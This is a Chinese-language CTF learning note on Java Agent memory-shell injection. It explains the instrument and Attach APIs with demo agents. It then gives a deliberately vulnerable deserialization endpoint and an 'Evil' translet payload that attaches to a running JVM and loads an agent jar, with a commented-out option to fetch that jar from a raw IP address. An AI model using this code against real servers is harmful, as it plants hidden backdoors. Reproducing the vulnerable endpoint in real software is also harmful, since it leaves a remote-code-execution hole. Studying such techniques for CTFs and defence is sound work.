https://github.com/bfengj/CTF/blob/main/Web/java/ 内存马 / Agent 内存马.md
https://blog.z3ratu1.cn/Java Agent 简易入门.html
http://wjlshare.com/archives/1582
# Java agent 简介
在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法
Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去
说白了 Java Agent 只是一个 Java 类而已,只不过普通的 Java 类是以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain
Java Agent
支持两种方式进行加载:
- 实现
premain
方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有) - 实现
agentmain
方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)
# 启动时加载 agent
从官方文档中可知晓,首先我们必须实现 premain
方法,同时我们 jar 文件的清单( mainfest
)中必须要含有 Premain-Class
属性
我们可在命令行利用 -javaagent 来实现启动时加载
premain
方法顾名思义,会在我们运行 main
方法之前进行调用,即在运行 main 方法之前会先去调用我们 jar
包中 Premain-Class
类中的 premain
方法
接下来我们来看一下 Demo
首先创建一个类,来实现 premain
的这个方法
import java.lang.instrument.Instrumentation; | |
public class DemoTest { | |
public static void premain(String agentArgs, Instrumentation inst) throws Exception{ | |
System.out.println(agentArgs); | |
for(int i=0;i<5;i++){ | |
System.out.println("premain method is invoked!"); | |
} | |
} | |
} |
接下来创建 mainfest
,这里将其保存为 agent.mf
,一定要含有 Premain-Class
属性 p 注意这里的 mf 一定要有空行
Manifest-Version: 1.0 | |
Premain-Class: DemoTest |
利用 javac
将 java
文件编译成 class
之后,利用 jar
命令打包,生成我们的 agent.jar
jar cvfm agent.jar agent.mf DemoTest.class |
然后创建一个普通类作为测试 demo
public class Hello { | |
public static void main(String[] args) { | |
System.out.println("Hello,Java"); | |
} | |
} |
Hello.mf
Manifest-Version: 1.0 | |
Main-Class: Hello |
同样的利用 javac
编译之后打包成 hello.jar
jar cvfm hello.jar hello.mf Hello.class |
接下来我们只需要在 java -jar
中添加 -javaagent:agent.jar
即可在启动时优先加载 agent
, 而且可利用如下方式获取传入我们的 agentArgs
参数
java -javaagent:agent.jar[=options] -jar hello.jar |
# 动态加载字节码
在实现 premain
的时候,我们除了能获取到 agentArgs
参数,还可以获取 Instrumentation
实例,那么 Instrumentation
实例是什么
# Instrumentation
Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent 通过这个类和目标 JVM 进行交互,从而达到修改数据的效果
在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据
Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码
public interface Instrumentation { | |
// 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer 方法配置之后,后续的类加载都会被 Transformer 拦截。对于已经加载过的类,可以执行 retransformClasses 来重新触发这个 Transformer 的拦截。类加载的字节码被修改后,除非再次被 retransform,否则不会恢复。 | |
void addTransformer(ClassFileTransformer transformer); | |
// 删除一个类转换器 | |
boolean removeTransformer(ClassFileTransformer transformer); | |
// 在类加载之后,重新定义 Class。这个很重要,该方法是 1.6 之后加入的,事实上,该方法是 update 了一个类。 | |
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException; | |
// 判断目标类是否能够修改。 | |
boolean isModifiableClass(Class<?> theClass); | |
// 获取目标已经加载的类。 | |
@SuppressWarnings("rawtypes") | |
Class[] getAllLoadedClasses(); | |
...... | |
} |
Instrumentation
提供了 addTransformer,getAllLoadedClasses,retransformClasses
等方法,我们后面由于只用到了这三个所以就只介绍这三个
# addTransformer
addTransformer
方法来用于注册 Transformer
,所以我们可以通过编写 ClassFileTransformer
接口的实现类来注册我们自己的转换器
// 注册提供的转换器 | |
void addTransformer(ClassFileTransformer transformer) |
这样当类加载的时候,会进入我们自己的 Transformer
中的 transform
函数进行拦截
# getAllLoadedClasses
getAllLoadedClasses 方法能列出所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class
# 启动后加载 agent
启动后加载 agent
通过新的代理操作来实现: agentmain
,使得可以在 main
函数开始运行之后再运行
和之前的 premain
函数一样,我们可以编写 agentmain
函数的 Java 类
public static void agentmain (String agentArgs, Instrumentation inst) | |
public static void agentmain (String agentArgs) |
要求和之前类似,我们需要满足以下条件
- 必须要实现
agentmain
方法 - Jar 文件清单中必须要含有
Premain-Class
属性
在 Java JDK6 以后实现启动后加载 Instrument
的是 Attach api
。存在于 com.sun.tools.attach
里面有两个重要的类。
来查看一下该包中的内容,这里有两个比较重要的类,分别是 VirtualMachine
和 VirtualMachineDescriptor
,其中我们重点关注 VirtualMachine
类
# VirtualMachine
VirtualMachine 可以来实现获取系统信息,内存 dump、现成 dump、类信息统计(例如 JVM 加载的类)。里面配备有几个方法 LoadAgent,Attach 和 Detach 。下面来看看这几个方法的作用
Attach :该类允许我们通过给 attach 方法传入一个 jvm 的 pid (进程 id),远程连接到 jvm 上
VirtualMachine vm = VirtualMachine.attach(v.id()); |
loadAgent:向 jvm 注册一个代理程序 agent,在该 agent 的代理程序中会得到一个 Instrumentation 实例,该实例可以 在 class 加载前改变 class 的字节码,也可以在 class 加载后重新加载。在调用 Instrumentation 实例的方法时,这些方法会使用 ClassFileTransformer 接口中提供的方法进行处理。
Detach:从 JVM 上面解除一个代理 (agent)
# VirtualMachineDescriptor
VirtualMachineDescriptor 是一个描述虚拟机的容器类,配合 VirtualMachine 类完成各种功能。
所以最后我们的注入流程大致如下:
这里借用奶思师傅的图片
通过 VirtualMachine 类的 attach (pid) 方法,可以 attach 到一个运行中的 java 进程上,之后便可以通过 loadAgent (agentJarPath) 来将 agent 的 jar 包注入到对应的进程,然后对应的进程会调用 agentmain 方法。
# Demo
编写 AgentMain.java
import java.lang.instrument.Instrumentation; | |
public class AgentMain { | |
public static void agentmain(String agentArgs, Instrumentation ins) { | |
ins.addTransformer(new DefineTransformer(),true); | |
} | |
} |
编写 DefineTransformer.java
import java.lang.instrument.ClassFileTransformer; | |
import java.lang.instrument.IllegalClassFormatException; | |
import java.security.ProtectionDomain; | |
public class DefineTransformer implements ClassFileTransformer { | |
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { | |
System.out.println(className); | |
return classfileBuffer; | |
} | |
} |
创建 jar
文件清单 agentmain.mf
Manifest-Version: 1.0 | |
Can-Redefine-Classes: true | |
Can-Retransform-Classes: true | |
Agent-Class: AgentMain |
分别对上面的 java
文件进行编译,然后利用命令行进行打包
jar cvfm AgentMain.jar agentmain.mf AgentMain.class DefineTransformer.class |
至此我们的 AgentMain.jar
就成功生成了
接下来我们需要编写测试类
注意将 jdk 安装目录下 lib 目录中的 tools.jar
添加进当前工程的 Libraries
中
import com.sun.tools.attach.VirtualMachine; | |
import com.sun.tools.attach.VirtualMachineDescriptor; | |
import java.util.List; | |
public class AgentMainDemo { | |
public static void main(String[] args) throws Exception{ | |
String path = "C:\\Users\\13728\\IdeaProjects\\Desctf_ljctr\\src\\main\\java\\AgentMain.jar"; | |
List<VirtualMachineDescriptor> list = VirtualMachine.list(); | |
for (VirtualMachineDescriptor v:list){ | |
System.out.println(v.displayName()); | |
if (v.displayName().contains("AgentMainDemo")){ | |
// 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接 | |
VirtualMachine vm = VirtualMachine.attach(v.id()); | |
// 将我们的 agent.jar 发送给虚拟机 | |
vm.loadAgent(path); | |
vm.detach(); | |
} | |
} | |
} | |
} |
不过由于 tools.jar 并不会在 JVM 启动的时候默认加载,所以这里利用 URLClassloader 来加载我们的 tools.jar
public class AgentMainDemo { | |
public static void main(String[] args) { | |
try{ | |
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar"); | |
System.out.println(toolsPath.toURI().toURL()); | |
java.net.URL url = toolsPath.toURI().toURL(); | |
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url}); | |
Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine"); | |
Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); | |
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null); | |
java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null); | |
System.out.println("Running JVM Start.."); | |
for(int i=0;i<list.size();i++){ | |
Object o = list.get(i); | |
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null); | |
String name = (String) displayName.invoke(o,null); | |
System.out.println(name); | |
if (name.contains("AgentMainDemo")){ | |
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null); | |
java.lang.String id = (java.lang.String) getId.invoke(o,null); | |
System.out.println("id >>> " + id); | |
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class}); | |
java.lang.Object vm = attach.invoke(o,new Object[]{id}); | |
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class}); | |
java.lang.String path = "C:\\Users\\13728\\IdeaProjects\\Desctf_ljctr\\src\\main\\java\\AgentMain.jar"; | |
loadAgent.invoke(vm,new Object[]{path}); | |
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null); | |
detach.invoke(vm,null); | |
break; | |
} | |
} | |
} catch (Exception e){ | |
e.printStackTrace(); | |
} | |
} | |
} |
# Agent 实现内存马注入
前面说到由于实际环境中我们通常遇到的都是已经启动着的,所以 premain 那种方法不合适内存马注入,所以我们这里利用 agentmain 方法来尝试注入我们的内存马
其实在上文中如何动态修改对应类的字节码已提过,所以我们现在第一件事是需要找到对应的类中的某个方法,这个类中的方法需要满足两个要求
- 该方法一定会被执行
- 不会影响正常的业务逻辑
# 环境搭建
package com.example.agent; | |
@Controller | |
public class IndexController { | |
@ResponseBody | |
@RequestMapping({"/"}) | |
public String index() { | |
return "welcome join us.\n it is very easy!"; | |
} | |
@ResponseBody | |
@RequestMapping({"/ctf"}) | |
public String readObject(@RequestParam(name = "data", required = true) String data) throws Exception { | |
byte[] bytes = base64Decode(data); | |
InputStream inputStream = new ByteArrayInputStream(bytes); | |
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); | |
objectInputStream.readObject(); | |
return "oops!"; | |
} | |
public static byte[] base64Decode(String base64) { | |
Base64.Decoder decoder = Base64.getDecoder(); | |
return decoder.decode(base64); | |
} | |
} |
再加一个 rome
依赖即可
# 反序列化注入
Evil
import com.sun.org.apache.xalan.internal.xsltc.DOM; | |
import com.sun.org.apache.xalan.internal.xsltc.TransletException; | |
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; | |
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; | |
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; | |
public class Evil extends AbstractTranslet { | |
static { | |
try{ | |
java.lang.String path = "C:\\Users\\13728\\Desktop\\AgentMemShell-main\\target\\AgentMain-1.0-SNAPSHOT-jar-with-dependencies.jar"; | |
//java.lang.String path = "http://120.79.0.164:1236/AgentMain-1.0-SNAPSHOT-jar-with-dependencies.jar"; | |
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar"); | |
java.net.URL url = toolsPath.toURI().toURL(); | |
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url}); | |
Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine"); | |
Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); | |
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null); | |
java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null); | |
System.out.println("Running JVM list ..."); | |
for(int i=0;i<list.size();i++){ | |
Object o = list.get(i); | |
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null); | |
java.lang.String name = (java.lang.String) displayName.invoke(o,null); | |
System.out.println(name); | |
// 列出当前有哪些 JVM 进程在运行 | |
// 这里的 if 条件根据实际情况进行更改 | |
//org.apache.catalina.startup.Bootstrap 是 tomcat | |
if (name.contains("com.example.agent.AgentApplication")){ | |
// 获取对应进程的 pid 号 | |
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null); | |
java.lang.String id = (java.lang.String) getId.invoke(o,null); | |
System.out.println("id >>> " + id); | |
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class}); | |
java.lang.Object vm = attach.invoke(o,new Object[]{id}); | |
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class}); | |
loadAgent.invoke(vm,new Object[]{path}); | |
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null); | |
detach.invoke(vm,null); | |
System.out.println("Agent.jar Inject Success !!"); | |
break; | |
} | |
} | |
} catch (Exception e){ | |
e.printStackTrace(); | |
} | |
} | |
@Override | |
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { | |
} | |
@Override | |
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { | |
} | |
} |
因为创建环境的时候 IndexController
是在 com.example.agent
下,所以 if
里面更换对应的内容